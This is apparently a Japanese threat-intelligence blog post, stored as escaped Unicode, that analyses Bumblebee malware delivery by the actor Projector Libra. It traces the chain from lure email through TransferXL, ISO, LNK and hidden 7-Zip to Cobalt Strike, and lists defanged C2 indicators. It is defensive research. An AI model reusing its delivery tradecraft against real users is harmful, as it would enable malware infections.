<\/a>\u76ee\u6b21<\/h2>\nBazarLoader\u306e\u5f8c\u7d99\u300cBumblebee\u300d<\/a>
\n\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u300cProjector Libra\u300d\u306e\u624b\u53e3<\/a>
\n\u30e1\u30fc\u30eb\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u4f8b<\/a>
\n\u30de\u30eb\u30a6\u30a7\u30a2\u3068\u611f\u67d3\u5f8c\u306e\u30c8\u30e9\u30d5\u30a3\u30c3\u30af<\/a>
\n\u7d50\u8ad6<\/a>
\nIoC<\/a>
\n\u8ffd\u52a0\u30ea\u30bd\u30fc\u30b9<\/a><\/p>\n<\/a>BazarLoader\u306e\u5f8c\u7d99\u300cBumblebee\u300d<\/h2>\nBumblebee<\/a>\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u30012022\u5e742\u6708\u306bBazarLoader\u306e\u5f8c\u7d99\u3068\u3057\u3066\u767b\u5834\u3057\u307e\u3057\u305f<\/a>\u3002\u4ee5\u964d\u3001\u305d\u308c\u307e\u3067BazarLoader\u3092\u62e1\u6563\u3057\u3066\u3044\u305f\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306f\u3001\u4ee3\u308f\u308a\u306bBumblebee\u3092\u62e1\u6563\u3059\u308b\u3088\u3046\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n2020\u5e744\u6708\u306b\u306fBumblebee\u306e\u524d\u8eab\u304c\u521d\u3081\u3066\u89b3\u6e2c\u3055\u308c\u3066\u304a\u308a\u3001Trickbot\u306e\u5f71\u306e\u958b\u767a\u8005\u304c\u65b0\u3057\u3044\u30de\u30eb\u30a6\u30a7\u30a2\u300cBazarBackdoor\u300d\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u306e\u304c\u3053\u306e\u6642\u671f\u3067\u3059<\/a>\u3002\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u30ed\u30fc\u30c0\u30fc\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306fBazarLoader\u3068\u547c\u3070\u308c\u30012020\u5e74\u304b\u30892021\u5e74\u3092\u901a\u3058\u3066\u5f0a\u793e\u306e\u8105\u5a01\u6982\u6cc1\u306b\u304a\u3044\u3066\u8981\u6ce8\u610f\u306e\u8105\u5a01\u306e1\u3064\u3067\u3057\u305f\u3002<\/p>\n2021\u5e74\u590f\u306b\u62e1\u6563\u304c\u30d4\u30fc\u30af\u306b\u9054\u3057\u305fBazarLoader\u306f\u3001\u5c11\u306a\u304f\u3068\u30823\u3064\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u3088\u3063\u3066\u305d\u306e\u30b5\u30f3\u30d7\u30eb\u306e\u5927\u534a\u304c\u914d\u5e03\u3055\u308c\u307e\u3057\u305f<\/a>\u3002\u305d\u308c\u3089\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\/\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u3001TA551 (Shathak)\u3001TA578 (Contact Forms\/Stolen Images Evidence)\u3001\u304a\u3088\u3073\u300cBazarCall<\/a>\u300d\u3068\u547c\u3070\u308c\u308b\u30b3\u30fc\u30eb\u30bb\u30f3\u30bf\u30fc\u3092\u4f7f\u3063\u305f\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u3059\u3002<\/p>\nBazarLoader\u306f2022\u5e742\u6708\u307e\u3067\u6d3b\u52d5\u304c\u898b\u3089\u308c\u307e\u3057\u305f\u304c\u3001\u305d\u308c\u4ee5\u964d\u65b0\u305f\u306b\u4f5c\u3089\u308c\u305f\u30b5\u30f3\u30d7\u30eb\u306f\u767a\u898b\u3055\u308c\u3066\u3044\u307e\u305b\u3093<\/a>\u30022022\u5e743\u6708\u4ee5\u964d\u3001BazarLoader\u3092\u62e1\u6563\u3057\u3066\u3044\u305fProjector Libra<\/a>\u306a\u3069\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u3001\u4ee3\u308f\u308a\u306b\u300cBumblebee\u300d\u3068\u3044\u3046\u65b0\u3057\u3044\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u3092\u914d\u5e03\u3059\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3057\u305f\u3002\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u304c\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u3092Bumblebee\u3068\u547c\u3076\u3088\u3046\u306b\u306a\u3063\u305f\u306e\u306f\u3001\u611f\u67d3\u5f8c\u306eHTTPS\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3067\u751f\u6210\u3055\u308c\u308bUser-Agent\u6587\u5b57\u5217\u306b\u300cbumblebee\u300d\u304c\u4f7f\u308f\u308c\u308b\u305f\u3081\u3067\u3059\u3002<\/p>\nTA578\u306a\u3069\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u3001\u304b\u3064\u3066BazarLoader\u307e\u305f\u306fIcedID (Bokbot)\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u3044\u305a\u308c\u304b\u3092\u62e1\u6563<\/a>\u3057\u3066\u3044\u307e\u3057\u305f\u304c\u30012022\u5e743\u6708\u4ee5\u964d\u3001BazarLoader\u306f\u914d\u5e03\u3057\u306a\u304f\u306a\u308a\u307e\u3057\u305f\u3002\u305f\u3068\u3048\u3070\u3001TA578\u304c\u73fe\u5728\u914d\u5e03\u3057\u3066\u3044\u308b\u306e\u306f\u3001Bumblebee<\/a>\u304bIcedID<\/a>\u306e\u3044\u305a\u308c\u304b\u3067\u3059\u3002<\/p>\n\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u62e1\u6563\u30d1\u30bf\u30fc\u30f3\u304b\u3089\u3001BazarLoader\u306e\u914d\u5e03\u304c\u6b62\u307e\u308b\u4e00\u65b9\u3067Bumblebee\u306e\u62e1\u6563\u306f\u7d9a\u3044\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u3063\u3066\u3044\u307e\u3059\u3002\u305d\u308c\u306b\u306fCobalt Strike\u306a\u3069\u306e\u30d5\u30a9\u30ed\u30fc\u30a2\u30c3\u30d7\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u542b\u307e\u308c\u3001\u5834\u5408\u306b\u3088\u3063\u3066\u306f\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u611f\u67d3\u306b\u3064\u306a\u304c\u308b\u6050\u308c\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n
<\/a>\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u300cProjector Libra\u300d\u306e\u624b\u53e3<\/h2>\nGoogle\u306eThreat Analysis Group (TAG)\u304c\u4ee5\u524d\u306b\u3053\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306e\u653b\u6483\u30c1\u30a7\u30fc\u30f3\u306e\u5168\u8c8c\u3092\u660e\u3089\u304b\u306b\u3057\u307e\u3057\u305f\u304c<\/a>\u3001\u672c\u7a3f\u3067\u53d6\u308a\u4e0a\u3052\u308b\u4e8b\u4f8b\u3067\u306f\u3001\u6700\u521d\u306b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c\u6a19\u7684\u3068\u3055\u308c\u305f\u88ab\u5bb3\u8005\u306b\u9023\u7d61\u3092\u3068\u308b\u3068\u3053\u308d\u304b\u3089\u59cb\u307e\u308a\u307e\u3059\u3002<\/p>\n![\"Projector]()
\u56f31. \u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306e\u4e00\u9023\u306e\u30a4\u30d9\u30f3\u30c8\u3002<\/figcaption><\/figure>\n\u88ab\u5bb3\u8005\u304c\u6700\u521d\u306e\u30e1\u30fc\u30eb\u306b\u8fd4\u4fe1\u3059\u308b\u3068\u3001Projector Libra\u306f\u300c\u305d\u306e\u4ef6\u306b\u95a2\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u5171\u6709\u3059\u308b\u305f\u3081\u3001\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u304b\u3089\u5225\u9014\u30e1\u30fc\u30eb\u3092\u9001\u4fe1\u3057\u305f\u300d\u3068\u8fd4\u4fe1\u3057\u3066\u304d\u307e\u3059\u3002\u6b21\u306b\u88ab\u5bb3\u8005\u306f\u5f53\u8a72\u306e\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u304c\u751f\u6210\u3057\u305f\u30e1\u30fc\u30eb\u3092\u53d7\u4fe1\u3057\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30e1\u30fc\u30eb\u306b\u306f\u3001\u5148\u8ff0\u306eProjector Libra\u304b\u3089\u306e\u30e1\u30c3\u30bb\u30fc\u30b8\u3067\u8a00\u53ca\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u306b\u898b\u305b\u304b\u3051\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u30db\u30b9\u30c8\u5148\u30ea\u30f3\u30af\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n
2022\u5e74\u4ee5\u964d\u3001Projector Libra\u304c\u914d\u5e03\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u306fISO\u30a4\u30e1\u30fc\u30b8\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30a4\u30e1\u30fc\u30b8\u306f\u8106\u5f31\u306aWindows\u30db\u30b9\u30c8\u3078\u306e\u611f\u67d3\u3092\u76ee\u7684\u306b\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306eISO\u30a4\u30e1\u30fc\u30b8\u306b\u306fWindows\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8\u304c\u542b\u307e\u308c\u3066\u3044\u3066\u3001\u305d\u306e\u306a\u304b\u3067\u96a0\u3055\u308c\u305fBumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u5b9f\u884c\u3055\u308c\u308b\u3088\u3046\u8a2d\u8a08\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n
\u5834\u5408\u306b\u3088\u3063\u3066\u306f\u3001ISO\u30a4\u30e1\u30fc\u30b8\u306bBumblebee\u306e\u96a0\u3057DLL\u30d5\u30a1\u30a4\u30eb\u3092\u5b9f\u884c\u3059\u308bWindows\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8(.LNK\u30d5\u30a1\u30a4\u30eb)\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u3053\u3068\u3082\u3042\u308a\u307e\u3059\u3002<\/p>\n
\u3053\u306e\u307b\u304b\u3001ISO\u30a4\u30e1\u30fc\u30b8\u306b\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305f7-Zip\u30a2\u30fc\u30ab\u30a4\u30d6(.7Z\u30d5\u30a1\u30a4\u30eb)\u5185\u306b\u683c\u7d0d\u3059\u308b\u5f62\u3067Bumblebee\u306eDLL\u30d5\u30a1\u30a4\u30eb\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u5834\u5408\u3082\u3042\u308a\u307e\u3059\u3002\u3053\u306e\u3088\u3046\u306a\u30b1\u30fc\u30b9\u3067\u306f\u3001LNK\u30d5\u30a1\u30a4\u30eb\u306b\u3088\u3063\u30667-Zip\u30b9\u30bf\u30f3\u30c9\u30a2\u30ed\u30f3\u30b3\u30f3\u30bd\u30fc\u30eb\u306e\u96a0\u3057\u30b3\u30d4\u30fc\u304c\u5b9f\u884c\u3055\u308c\u3001\u305d\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305f7Z\u30d5\u30a1\u30a4\u30eb\u304b\u3089Bumblebee\u304c\u62bd\u51fa\u3055\u308c\u307e\u3059\u3002<\/p>\n
Active Directory (AD)\u74b0\u5883\u3067\u306f\u3001\u6700\u521d\u306eBumblebee\u306e\u611f\u67d3\u304cCobalt Strike\u306e\u611f\u67d3\u3078\u3068\u767a\u5c55\u3057\u307e\u3059\u3002\u653b\u6483\u8005\u306fCobalt Strike\u3092\u4f7f\u3063\u3066\u88ab\u5bb3\u74b0\u5883\u3092\u30de\u30c3\u30d4\u30f3\u30b0\u3057\u307e\u3059\u3002\u305d\u306e\u7d50\u679c\u3001\u6a19\u7684\u306e\u4fa1\u5024\u304c\u9ad8\u3044\u3053\u3068\u304c\u308f\u304b\u308c\u3070\u3001\u653b\u6483\u8005\u304c\u30e9\u30c6\u30e9\u30eb\u30e0\u30fc\u30d6\u30e1\u30f3\u30c8(\u4fb5\u5165\u5f8c\u306e\u6a2a\u5c55\u958b)\u3092\u8a66\u307f\u3001Conti<\/a>\u3084Diavol<\/a>\u3068\u3044\u3063\u305f\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u3092\u30c9\u30ed\u30c3\u30d7\u3057\u307e\u3059\u3002<\/p>\n<\/a>\u30e1\u30fc\u30eb\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u4f8b<\/h2>\n\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306e\u6700\u521d\u306e\u30a4\u30d9\u30f3\u30c8\u306f\u30012022\u5e745\u67085\u65e5\u306bProjector Libra\u304b\u3089\u9001\u4fe1\u3055\u308c\u305f\u6700\u521d\u306e\u30e1\u30fc\u30eb\u3067\u3059\u3002\u7c73\u56fd\u306e\u5730\u5143\u30ac\u30b9\u4f1a\u793e\u306b\u52e4\u3081\u308bAndres\u3068\u3044\u3046\u540d\u306e\u5f93\u696d\u54e1\u306b\u306a\u308a\u3059\u307e\u3057\u305f\u3082\u306e\u3067\u3059\u3002<\/p>\n
\u56f32\u306b\u3001\u3053\u306e\u6700\u521d\u306e\u30e1\u30fc\u30eb\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n![\"2022\u5e745\u67085\u65e5\u306bProjector]()
\u56f32. \u3084\u308a\u3068\u308a\u3092\u8a66\u307f\u308bProjector Libra\u304b\u3089\u306e\u30e1\u30fc\u30eb\u3002<\/figcaption><\/figure>\n\u4e0a\u306e\u56f32\u306b\u793a\u3057\u305f\u30e1\u30fc\u30eb\u306b\u88ab\u5bb3\u8005\u304c\u8fd4\u4fe1\u3059\u308b\u3068\u3001Projector Libra\u306f\u6b21\u306e\u56f33\u306b\u793a\u3057\u305f\u30e1\u30fc\u30eb\u3067\u8fd4\u4fe1\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u8fd4\u4fe1\u306b\u306f\u3001\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092TransferXL<\/a>\u304b\u3089\u5225\u30e1\u30fc\u30eb\u3067\u9001\u4fe1\u3057\u305f\u3068\u66f8\u304b\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n![\"\u88ab\u5bb3\u8005\u30e1\u30fc\u30eb\u304b\u3089\u56f32\u306b\u793a\u3057\u305f\u30e1\u30fc\u30eb\u3078\u306e\u8fd4\u4fe1\u3092\u53d7\u3051\u53d6\u308b\u3068\u3001Projector]()
\u56f33. \u88ab\u5bb3\u8005\u30e1\u30fc\u30eb\u304c\u6700\u521d\u306e\u30e1\u30fc\u30eb\u306b\u8fd4\u4fe1\u3057\u305f\u5f8c\u306eProjector Libra\u304b\u3089\u306e\u8fd4\u4fe1\u3002<\/figcaption><\/figure>\nTransferXL\u306f\u7121\u6599\u30d7\u30e9\u30f3\u306e\u3042\u308b\u6b63\u898f\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3067\u3001Projector Libra\u306e\u3088\u3046\u306a\u72af\u7f6a\u30b0\u30eb\u30fc\u30d7\u306b\u3088\u3063\u3066\u983b\u7e41\u306b\u60aa\u7528\u3055\u308c\u308b\u3001\u6570\u3042\u308b\u7121\u6599\u30d7\u30e9\u30f3\u4ed8\u304d\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u306e1\u3064\u3067\u3059\u3002\u305d\u308c\u3089\u306eTransferXL\u306eURL\u306f1\u9031\u9593\u3067\u6709\u52b9\u671f\u9650\u304c\u5207\u308c\u308b\u305f\u3081\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u304b\u3089\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u96a0\u3059\u306e\u306b\u597d\u90fd\u5408\u3068\u3044\u3048\u307e\u3059\u3002\u4ee5\u4e0b\u306e\u56f34\u306f\u3001Projector Libra\u304c\u914d\u5e03\u3059\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u5171\u6709\u3059\u308b\u305f\u3081\u306e\u3001\u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306eTransferXL\u306e\u30e1\u30fc\u30eb\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n![\"Projector]()
\u56f34. Projector Libra\u304b\u3089\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u5171\u6709\u3059\u308b\u305f\u3081\u306eTransferXL\u306b\u3088\u3063\u3066\u751f\u6210\u3055\u308c\u305f\u30e1\u30fc\u30eb\u3002<\/figcaption><\/figure>\n<\/a>\u30de\u30eb\u30a6\u30a7\u30a2\u3068\u611f\u67d3\u5f8c\u306e\u30c8\u30e9\u30d5\u30a3\u30c3\u30af<\/h2>\nTransferXL\u304b\u3089\u5171\u6709\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u306f\u5727\u7e2e\u3055\u308c\u3001ZIP\u30a2\u30fc\u30ab\u30a4\u30d6\u3068\u3057\u3066\u9001\u4fe1\u3055\u308c\u307e\u3059\u3002\u56f35\u306f\u3001\u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306eTransferXL\u306eURL\u304cWeb\u30d6\u30e9\u30a6\u30b6\u3067\u958b\u304b\u308c\u3001Projector Libra\u304c\u914d\u5e03\u3059\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u308b\u6d41\u308c\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n![\"\u3053\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u306f\u3001\u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306eTransferXL\u306eURL\u304cWeb\u30d6\u30e9\u30a6\u30b6\u3067\u958b\u304b\u308c\u3001Projector]()
\u56f35. Projector Libra\u304c\u914d\u5e03\u3059\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u9001\u4fe1\u3059\u308bTransferXL\u306eURL\u3002<\/figcaption><\/figure>\n\u53d7\u4fe1\u8005\u306fTransferXL\u306eZIP\u30a2\u30fc\u30ab\u30a4\u30d6\u304b\u3089ISO\u30d5\u30a1\u30a4\u30eb\u3092\u62bd\u51fa\u3057\u307e\u3059\u3002Microsoft Windows\u3092\u306f\u3058\u3081\u3068\u3059\u308b\u307b\u3068\u3093\u3069\u306eGUI\u30d9\u30fc\u30b9\u306e\u30c7\u30b9\u30af\u30c8\u30c3\u30d7\u74b0\u5883\u3067\u306f\u3001ISO\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30d6\u30eb\u30af\u30ea\u30c3\u30af\u3059\u308b\u3068\u305d\u308c\u304c\u65b0\u3057\u3044\u30c9\u30e9\u30a4\u30d6\u3068\u3057\u3066\u30de\u30a6\u30f3\u30c8\u3055\u308c\u307e\u3059\u3002Windows 10\u3067\u306f\u3001\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305fISO\u306f\u3001\u56f36\u306eDVD\u30c9\u30e9\u30a4\u30d6E:\u3068\u540c\u69d8\u306bDVD\u30c9\u30e9\u30a4\u30d6\u3068\u3057\u3066\u30de\u30a6\u30f3\u30c8\u3055\u308c\u307e\u3059\u3002<\/p>\n![\"\u3053\u306e\u56f3\u306f\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u542b\u307e\u308c\u305fzip\u5f62\u5f0f\u306e\u30d5\u30a9\u30eb\u30c0\u304b\u3089\u3001ISO\u30d5\u30a1\u30a4\u30eb\u3001\u305d\u3057\u3066ISO\u306e\u5185\u5bb9(Windows]()
\u56f36. \u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305fISO\u306fWIndows 10\u3067DVD\u30c9\u30e9\u30a4\u30d6E:\u3068\u3057\u3066\u30de\u30a6\u30f3\u30c8\u3055\u308c\u308b\u3002<\/figcaption><\/figure>\n\u4e0a\u306e\u56f36\u306e\u3088\u3046\u306b\u3001\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305fISO\u30d5\u30a1\u30a4\u30eb\u306b\u306fAttachments.lnk<\/span>\u3068\u3044\u3046\u540d\u524d\u306eWindows\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8\u304c\u542b\u307e\u308c\u307e\u3059\u3002Microsoft Windows\u3067\u306f\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30fc\u30e9\u30fc\u3067\u30d5\u30a1\u30a4\u30eb\u62e1\u5f35\u5b50\u304c\u8868\u793a\u3055\u308c\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3057\u3066\u3044\u3066\u3082\u3001.lnk<\/span>\u30d5\u30a1\u30a4\u30eb\u62e1\u5f35\u5b50\u306f\u8868\u793a\u3055\u308c\u307e\u305b\u3093\u3002<\/p>\nAttachments.lnk<\/span>\u306b\u3088\u3063\u3066\u30017za.exe<\/span>\u3068\u3044\u3046\u540d\u524d\u306e7-Zip\u30b9\u30bf\u30f3\u30c9\u30a2\u30ed\u30f3 \u30b3\u30f3\u30bd\u30fc\u30eb \u30d5\u30a1\u30a4\u30eb\u306e\u30b3\u30d4\u30fc\u3092\u5b9f\u884c\u3059\u308b\u305f\u3081\u306ePowerShell\u30b3\u30de\u30f3\u30c9\u304c\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\u4e0a\u306e\u56f36\u306f\u3001Attachments.lnk<\/span>\u306ePowerShell\u30b3\u30de\u30f3\u30c9\u5168\u4f53\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n7za.exe<\/span>\u306b\u3088\u3063\u3066\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305farchive.7z<\/span>\u3068\u3044\u3046\u540d\u524d\u306e7-Zip\u30a2\u30fc\u30ab\u30a4\u30d6\u304b\u3089Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306eDLL\u30d5\u30a1\u30a4\u30eb\u304c\u62bd\u51fa\u3055\u308c\u307e\u3059\u30027za.exe<\/span>\u3068archive.7z<\/span>\u306f\u3069\u3061\u3089\u3082\u975e\u8868\u793a\u3067\u3059\u304c\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30fc\u30e9\u30fc\u3067\u96a0\u3057\u30d5\u30a1\u30a4\u30eb\u304c\u8868\u793a\u3055\u308c\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3059\u308c\u3070\u8868\u793a\u3067\u304d\u307e\u3059\u3002<\/p>\n\u4ee5\u4e0b\u306e\u56f37\u306e\u3088\u3046\u306b\u3001\u62bd\u51fa\u3057\u305fBumblebee DLL\u30d5\u30a1\u30a4\u30eb\u306fC:\\ProgramData\\19a.dll<\/span>\u306b\u4fdd\u5b58\u3055\u308c\u307e\u3059\u3002Bumblebee\u306eDLL\u30d5\u30a1\u30a4\u30eb\u306f\u3001\u30a8\u30f3\u30c8\u30ea\u30dd\u30a4\u30f3\u30c8\u3068\u3057\u3066rundll32<\/span>\u3068oxgdXPSGPw<\/span>\u3092\u4f7f\u3063\u3066\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002<\/p>\n![\"\u62bd\u51fa\u3057\u305fBumblebee\u306eDLL\u30d5\u30a1\u30a4\u30eb\u306fC:\\ProgramData\\19a.dll\u306b\u4fdd\u5b58\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u56f3\u3067\u306f\u3001Bumblebee\u306eDLL\u30d5\u30a1\u30a4\u30eb\u304c\u5927\u304d\u306a\u8d64\u3044\u77e2\u5370\u3067\u793a\u3055\u308c\u3066\u3044\u307e\u3059\u3002]()
\u56f37 \u62bd\u51fa\u3057\u305fBumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306eDLL\u30d5\u30a1\u30a4\u30eb\u306f\u30c7\u30a3\u30b9\u30af\u306b\u4fdd\u5b58\u3055\u308c\u308b\u3002<\/figcaption><\/figure>\n\u3053\u306e\u611f\u67d3\u3067\u751f\u6210\u3055\u308c\u308b\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306f\u3059\u3079\u3066HTTPS\u3067\u3059\u3002\u4ee5\u4e0b\u306e\u56f38\u306f\u3001\u3053\u306e\u611f\u67d3\u306b\u4f7f\u308f\u308c\u305fTransferXL URL\u3092Wireshark\u3067\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3057\u305f\u7d50\u679c\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002ISO\u304c\u30de\u30a6\u30f3\u30c8\u3055\u308c\u3001Bumblebee\u304c\u5b9f\u884c\u3055\u308c\u308b\u3068\u3001Bumblebee\u306eHTTPS C2\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u304c54.38.139[.]20:443<\/span>\u3067\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n![\"Wireshark\u3067\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3057\u305f\u611f\u67d3\u30c8\u30e9\u30d5\u30a3\u30c3\u30af]()
\u56f38 Wireshark\u3067\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3057\u305f\u611f\u67d3\u30c8\u30e9\u30d5\u30a3\u30c3\u30af<\/figcaption><\/figure>\n\u4ee5\u4e0b\u306e\u56f39\u306e\u3088\u3046\u306b\u3001Bumblebee\u306eC2\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306e\u958b\u59cb\u304b\u3089\u7d0415\u5206\u5f8c\u300145.153.243[.]142:443<\/span>\u3067fuvataren[.]com<\/span>\u3092\u4f7f\u7528\u3059\u308bCobalt Strike\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304c\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n![\"\u611f\u67d3\u6642\u306b\u78ba\u8a8d\u3055\u308c\u305fCobalt]()
\u56f39 \u611f\u67d3\u6642\u306b\u78ba\u8a8d\u3055\u308c\u305fCobalt Strike\u306e\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3002<\/figcaption><\/figure>\n\u3053\u306e\u4e8b\u4f8b\u3068\u30e9\u30dc\u3067\u306e\u30c6\u30b9\u30c8\u3067\u3001Bumblebee\u306e\u611f\u67d3\u306f\u305f\u3073\u305f\u3073Cobalt Strike\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3078\u3068\u767a\u5c55\u3057\u3066\u3044\u307e\u3057\u305f\u3002Unit 42\u306fTwitter\u306e@Unit42_Intel<\/a>\u30cf\u30f3\u30c9\u30eb\u304b\u3089Bumblebee\u611f\u67d3\u306b\u3088\u308bCobalt Strike\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u4ee5\u4e0b\u306e\u30c4\u30a4\u30fc\u30c8\u3067\u5831\u544a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n\n- 2022\u5e744\u67085\u65e5<\/a><\/li>\n
- 2022\u5e745\u67083\u65e5<\/a><\/li>\n
- 2022\u5e745\u670831\u65e5<\/a><\/li>\n
- 2022\u5e746\u67089\u65e5<\/a><\/li>\n
- 2022\u5e746\u670814\u65e5<\/a><\/li>\n<\/ul>\n
\u6a19\u7684\u3068\u306a\u3063\u305f\u74b0\u5883\u306e\u4fa1\u5024\u304c\u9ad8\u3044\u5834\u5408\u3001\u3055\u3089\u306a\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306b\u52a0\u3048\u3001\u30e9\u30c6\u30e9\u30eb\u30e0\u30fc\u30d6\u304c\u78ba\u8a8d\u3055\u308c\u308b\u5834\u5408\u3082\u3042\u308a\u307e\u3059\u3002\u305f\u3060\u3057\u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u3067\u306f\u9b45\u529b\u7684\u306a\u6a19\u7684\u3092\u7528\u610f\u3057\u306a\u304b\u3063\u305f\u305f\u3081\u3001Cobalt Strike\u306e\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306f1\u6642\u959311\u5206\u5f8c\u306b\u7a81\u7136\u7d42\u4e86\u3057\u307e\u3057\u305f\u3002<\/p>\n
